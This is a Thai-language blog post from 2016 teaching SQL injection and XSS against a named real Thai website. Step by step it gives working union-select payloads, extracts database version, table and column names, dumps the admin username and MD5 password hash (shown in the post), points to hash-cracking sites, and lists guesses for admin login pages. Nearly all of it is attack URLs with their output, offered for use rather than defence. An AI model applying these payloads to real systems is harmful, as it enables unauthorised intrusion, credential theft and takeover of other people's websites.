แชร์ Link แล้วได้เงิน

วันเสาร์ที่ 6 กุมภาพันธ์ พ.ศ. 2559

[Hack XSS,SQL injection] สอนทำ XSS ในช่องโหว่ SQL injection

วิธีทำ

1 หาเว็บไซต์เป้าหมายที่มี ช่องโหว่ SQL Injection
ผมจะใช้เว็บนี้น่ะ

http://www.mrt.itd.co.th/newsdetail.php?id=27+order+by+

2 ตรวจสอบเว็บไซต์ดังกล่าว ว่ามีช่องโหว่ SQL จริงหรือไม่โดยการเติม ' ต่อท้ายลิงค์ ถ้าขึ้น Warning: mysql_num_rows() แสดงว่ามี

3 หาคอลัมน์ โดยใช้ คำสั่ง order+by+1 ต่อไปเรื่อยๆ จน เจอ Error

http://www.mrt.itd.co.th/newsdetail.php?id=27+order+by+1-- ไม่เจอ Error
http://www.mrt.itd.co.th/newsdetail.php?id=27+order+by+2-- ไม่เจอ Error
http://www.mrt.itd.co.th/newsdetail.php?id=27+order+by+3-- ไม่เจอ Error
http://www.mrt.itd.co.th/newsdetail.php?id=27+order+by+4-- ไม่เจอ Error
http://www.mrt.itd.co.th/newsdetail.php?id=27+order+by+5-- ไม่เจอ Error
http://www.mrt.itd.co.th/newsdetail.php?id=27+order+by+6-- ไม่เจอ Error
http://www.mrt.itd.co.th/newsdetail.php?id=27+order+by+7-- ไม่เจอ Error
http://www.mrt.itd.co.th/newsdetail.php?id=27+order+by+8-- เจอ Error

นั้นหมายความว่าในฐานข้อมูลเว็ปนี้มีแค่ 7 คอลัมน์

จากนั้นเราจะต้องหาว่าใน 7 คอลัมน์นั้นมีคอลัมน์ไหนที่มีช่องโหว่ให้เราสามารถเจาะเข้าไปได้โดยใช้คำสั่ง (union+select).
หน้าตาลิงค์จะเป็นแบบนี้

http://www.mrt.itd.co.th/newsdetail.php?id=-27+union+select+1,2,3,4,5,6,7--
อย่าลืมอักษร - ก่อนหน้าเลข 2 นะครับดูให้ดีๆ
หลังจากรีโหลดหน้าเว็ป คุณจะเห็นตัวเลขโชว์ขึ้นมาหน้าเว็ป. นั้นคือคอลัมน์ที่มีช่องโหว่. ตัวอย่างเช่นเว็ปไซต์ด้านบนมีคอลัมน์ 2 กับ 5 ที่มีช่องโหว่.

4: หาเวอร์ชั่นของ SQL

ต่อไปใช้คำสั่ง (@@version) ในการหาเวอร์ชั้นของเว็ปไซต์. โดยการแทนที่คอลัมน์ที่มีช่องโหว่ด้วยคำสั่ง เช่น:
Code:
http://www.mrt.itd.co.th/newsdetail.php?id=-27+union+select+1,@@version,3,4,5,6,7--
ตามลิงค์ด้านบนผมใส่คำสั่งแทนที่คอลัมน์ 3. จากนั้นรีโหลดหน้าเว็ป... คุณก็ได้เวอร์ชั่นของเว็ปไซต์นี้ >> 5.1.68-community

ถ้าคำสั่งด้านบนผิดพลาดโดยที่หน้าเว็ปไม่โชว์เวอร์ชั่นหรือมี Error ให้เราใช้คำสั่งนี้แทน
convert(@@version using latin1)
ดังนั้นลิงค์จะมีหน้าตาเป็นแบบนี้
Code:
http://www.mrt.itd.co.th/newsdetail.php?id=-27+union+select+1,convert(@@version using latin1),3,4,5,6,7--

หรือคำสั่งนี้: unhex(hex(@@version))
Code:
http://www.mrt.itd.co.th/newsdetail.php?id=-27+union+select+1,unhex(hex(@@version)),3,4,5,6,7--

ให้ลบ เลข คอลัมน์ ที่มีช่องโหว่ออกไป แล้วเติม 0x เข้าไปแทน ก็จะได้
http://www.mrt.itd.co.th/newsdetail.php?id=-27+union+select+1,0x,3,4,5,6,7--

จากนั้นไปที่นี่ http://www.string-functions.com/string-hex.aspx

แล้ว เอา สคริปต์นี้ ไป แปลง 

จะได้ 3f3f3f3f203f3f3f203f3f3f3f3f3f3f3f3f3f203f3f203f3f3f3f203c7363726970743e616c65727428273f3f3f3f3f3f3f3f3f3f3f3f3f2729203c2f7363726970743e

ให้เราก็อปไปต่อ ท้าย คำว่า 0x ก็จะได้ 

http://www.mrt.itd.co.th/newsdetail.php?id=-27+union+select+1,0x3f3f3f3f203f3f3f203f3f3f3f3f3f3f3f3f3f203f3f203f3f3f3f203c7363726970743e616c65727428273f3f3f3f3f3f3f3f3f3f3f3f3f2729203c2f7363726970743e,3,4,5,6,7--

ถ้าจะ Hack แบบ หา Username และก็ Password ของ Admin ก็ให้เรา หา Tabel และ Colum ของ Admin ต่อโดยการ

ลบ เลข คอลัมน์ที่มีช่องโหว่ ออก แล้ว ใส่ group_concat(table_name,0x0a) เข้าไปแทน และ หลังเลข คอลัมน์ตัวสุดท้ายให้ Spac 1 ช่อง แล้วใส่ from information_schema.tables where table_schema=database()--
ก็จะได้ดังนี้ http://www.mrt.itd.co.th/newsdetail.php?id=-27+union+select+1,group_concat(table_name,0x0a),3,4,5,6,7 from information_schema.tables where table_schema=database()--

จากนัันหน้าเว็ปไซด์จะโชว์ลิสชื่อ Tables ทั้งหมดที่อยู่ในฐานข้อมูล..
Code:
category ,linktext ,maincategory ,member ,news ,pdfcategory ,pdfitem ,pictureshow ,web_config ,web_stat
หลังจากที่ได้ชื่อ Tables มาหลายตัว. สิ่งที่ต้องทำคือหา Table ที่มีข้อมูลของ User/Admin อยู่ในนั้น. ในตัวอย่างที่ได้มา table ที่ชื่อ member น่าจะมีข้อมูลเหล่านั้นอยู่.

5. หาชื่อคอลัมน์ใน Table และ ยูสเซ่อกับพาสแอดมิน

ดูที่โค้ตด้านล่างนี้ให้ดีๆ
Code:
http://www.mrt.itd.co.th/newsdetail.php?id=-27+union+select+1,group_concat(column_name,0x0a),3,4,5,6,7 from information_schema.columns where table_name=0x6d656d626572--
มาดูกันมีอะไรแตกต่างไปมั้ง:

    Quote:table_name = แทนที่โดย "column_name"
    information_schema.tables = แทนที่โดย "information_schema.columns"
    table_schema = แทนที่โดย "table_name"
    database() = แทนที่โดย "0x6d656d626572--"

สงสัยกันใช่ไหมว่าทำไมตัวท้ายต้องเป็น Hex โค้ต 0x6d656d626572--
อันดับแรกที่ผมใส่ 0x เพื่อที่จะให้มันอ่านโค้ต hex ได้. เค.. ผมจะอธิบายให้ง่ายๆ ชื่อ Table ของเราคือ member เผื่อที่จะเข้าไปในฐานข้อมูล Table ได้เราต้องเปลี่ยนชื่อมันให้เป็น hex โค้ต. ผมใช่เว็ปไซด์นี้ในการเปลี่ยน.
Code:
http://www.swingnote.com/tools/texttohex.php
เราก็จะได้ 6d656d626572 เป็น Hex โค้ตของ member และเพื่อที่จะทำให้เว็ปไซด์อ่านได้เราจะใส่ 0x เข้าไปข้างหน้า.. ดังนั้นโค้ตจะเป็นแบบนี้..
Code:
6d656d626572
......
.............
จากนั้นเราจะได้คอลัมน์ทั้งหมดใน Table ตัวนี้เช่น:

    id ,name ,surname ,gender ,email ,username ,password ,datetime ,status

แน่นอนที่ที่มีข้อมูลที่เราต้องการต้องอยู่ใน username และ password
เครขั้นตอนสุดท้าย... มาเอายูสกับรหัสแอดมินของเว็ปนี้โดยใช้คำสั่ง group_concat
Code:
http://www.mrt.itd.co.th/newsdetail.php?id=-27+union+select+1,group_concat(username,0x3a,password,0x0a),3,4,5,6,7 from member--

แล้วคุณก็จะได้..
Code:
admin:21232f297a57a5a743894a0e4a801fc3
username: admin
password: 21232f297a57a5a743894a0e4a801fc3
ถอดได้ : amin

เครสพิเศษ: Hashed Usernames and Passwords

เว็ปไซด์ส่วนใหญ่จะโชว์พาสเป็น MD5 Hashed. ดังนั้นเราต้องแคร็กมันโดยใช้เว็ปไซด์ด้านล่าง:

    Quote:http://www.md5decrypter.co.uk/
    http://www.md5this.com/
    http://www.md5crack.com/
    http://hashchecker.de/find.html

MD5 Hash จะมี 32 ตัว
SHA-1 Hash จะมี 40 ตัว

ขั้นตอนสุดท้าย: หาหน้าแอดมินเพื่อที่จะล็อกอิน

ตอนนี้เรามียูสกับพาสแอดมินแล้ว. ที่เหลือก็แค่หาหน้าล็อกอินแอดมินก็จะสามารถเข้าไปควบคุมเว็ปไซด์นั้นได้เต็มตัว.

ตัวอย่างหน้าแอดมิน:
Code:
www.xxxx.com/admin
www.xxxx.com/admins
www.xxxx.com/users
www.xxxx.com/admin.php
www.xxxx.com/admin/login.php
www.xxxx.com/login.php
www.xxxx.com/login

ไม่มีความคิดเห็น:

แสดงความคิดเห็น